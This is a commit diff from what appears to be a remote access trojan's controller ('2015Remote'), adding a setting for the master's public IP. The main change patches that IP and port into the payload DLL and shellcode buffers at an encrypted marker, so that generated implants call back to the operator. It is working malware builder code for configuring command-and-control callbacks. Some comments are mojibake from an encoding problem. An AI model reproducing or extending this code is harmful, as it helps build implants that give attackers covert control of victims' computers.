fix: Allow to set master's public IP
This commit is contained in:
Binary file not shown.
@@ -644,7 +644,7 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff
|
||||
return false;
|
||||
}
|
||||
|
||||
Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true) {
|
||||
Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="") {
|
||||
BYTE* szBuffer = NULL;
|
||||
int dwFileSize = 0;
|
||||
|
||||
@@ -686,6 +686,16 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true) {
|
||||
memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding);
|
||||
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
|
||||
auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
|
||||
if (!addr.empty()) {
|
||||
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
|
||||
int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
|
||||
if (offset !=-1){
|
||||
splitIpPort(addr, ip, port);
|
||||
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
|
||||
server->SetServer(ip.c_str(), atoi(port.c_str()));
|
||||
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
||||
}
|
||||
}
|
||||
auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
|
||||
delete[] szBuffer;
|
||||
if (srcData != pData)
|
||||
@@ -723,10 +733,15 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
|
||||
}
|
||||
}
|
||||
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false);
|
||||
m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true);
|
||||
m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false);
|
||||
m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false);
|
||||
// 主控程序公网IP
|
||||
std::string master = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "master", "");
|
||||
if (!master.empty()) {
|
||||
master += ":" + ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ghost", "6543");
|
||||
}
|
||||
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master);
|
||||
m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true, true, master);
|
||||
m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false, master);
|
||||
m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false, master);
|
||||
|
||||
// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
|
||||
// 执行此操作
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
#include "SettingDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "client/CursorInfo.h"
|
||||
#include "parse_ip.h"
|
||||
|
||||
// CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
@@ -19,6 +20,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
|
||||
, m_sScreenCompress(_T("<EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨"))
|
||||
, m_nReportInterval(5)
|
||||
, m_sSoftwareDetect(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"))
|
||||
, m_sPublicIP(_T(""))
|
||||
{
|
||||
}
|
||||
|
||||
@@ -43,6 +45,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Control(pDX, IDC_COMBO_SOFTWAREDETECT, m_ComboSoftwareDetect);
|
||||
DDX_CBString(pDX, IDC_COMBO_SOFTWAREDETECT, m_sSoftwareDetect);
|
||||
DDV_MaxChars(pDX, m_sSoftwareDetect, 256);
|
||||
DDX_Control(pDX, IDC_EDIT_PUBLIC_IP, m_EditPublicIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PUBLIC_IP, m_sPublicIP);
|
||||
DDV_MaxChars(pDX, m_sPublicIP, 100);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
|
||||
@@ -58,10 +63,11 @@ END_MESSAGE_MAP()
|
||||
BOOL CSettingDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
||||
m_sPublicIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "master", "");
|
||||
m_sPublicIP = m_sPublicIP.IsEmpty() ? getPublicIP().c_str() : m_sPublicIP;
|
||||
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
||||
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
|
||||
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
|
||||
|
||||
int DXGI = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "DXGI");
|
||||
|
||||
@@ -121,7 +127,8 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "ghost", m_nListenPort);
|
||||
((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.SetStr("settings", "master", m_sPublicIP.GetBuffer());
|
||||
((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "ghost", m_nListenPort);
|
||||
//<2F><>ini<6E>ļ<EFBFBD><C4BC><EFBFBD>д<EFBFBD><D0B4>ֵ
|
||||
((CMy2015RemoteApp *)AfxGetApp())->m_iniFile.SetInt("settings", "MaxConnection", m_nMax_Connect);
|
||||
|
||||
|
||||
@@ -36,4 +36,6 @@ public:
|
||||
int m_nReportInterval;
|
||||
CComboBox m_ComboSoftwareDetect;
|
||||
CString m_sSoftwareDetect;
|
||||
CEdit m_EditPublicIP;
|
||||
CString m_sPublicIP;
|
||||
};
|
||||
|
||||
@@ -153,3 +153,15 @@ std::string getPublicIP() {
|
||||
|
||||
return std::string(buffer);
|
||||
}
|
||||
|
||||
void splitIpPort(const std::string& input, std::string& ip, std::string& port) {
|
||||
size_t pos = input.find(':');
|
||||
if (pos != std::string::npos) {
|
||||
ip = input.substr(0, pos);
|
||||
port = input.substr(pos + 1);
|
||||
}
|
||||
else {
|
||||
ip = input;
|
||||
port = "";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -25,8 +25,13 @@
|
||||
// 获取 IP 地址地理位置
|
||||
std::string GetGeoLocation(const std::string& ip);
|
||||
|
||||
// 是否为本机IP
|
||||
bool isLocalIP(const std::string& ip);
|
||||
|
||||
// 获取本机公网IP, 获取失败返回空
|
||||
std::string getPublicIP();
|
||||
|
||||
// 判断给定的 IP 地址是否是局域网(内网)IP
|
||||
bool IsPrivateIP(const std::string& ipAddress);
|
||||
|
||||
void splitIpPort(const std::string& input, std::string& ip, std::string& port);
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user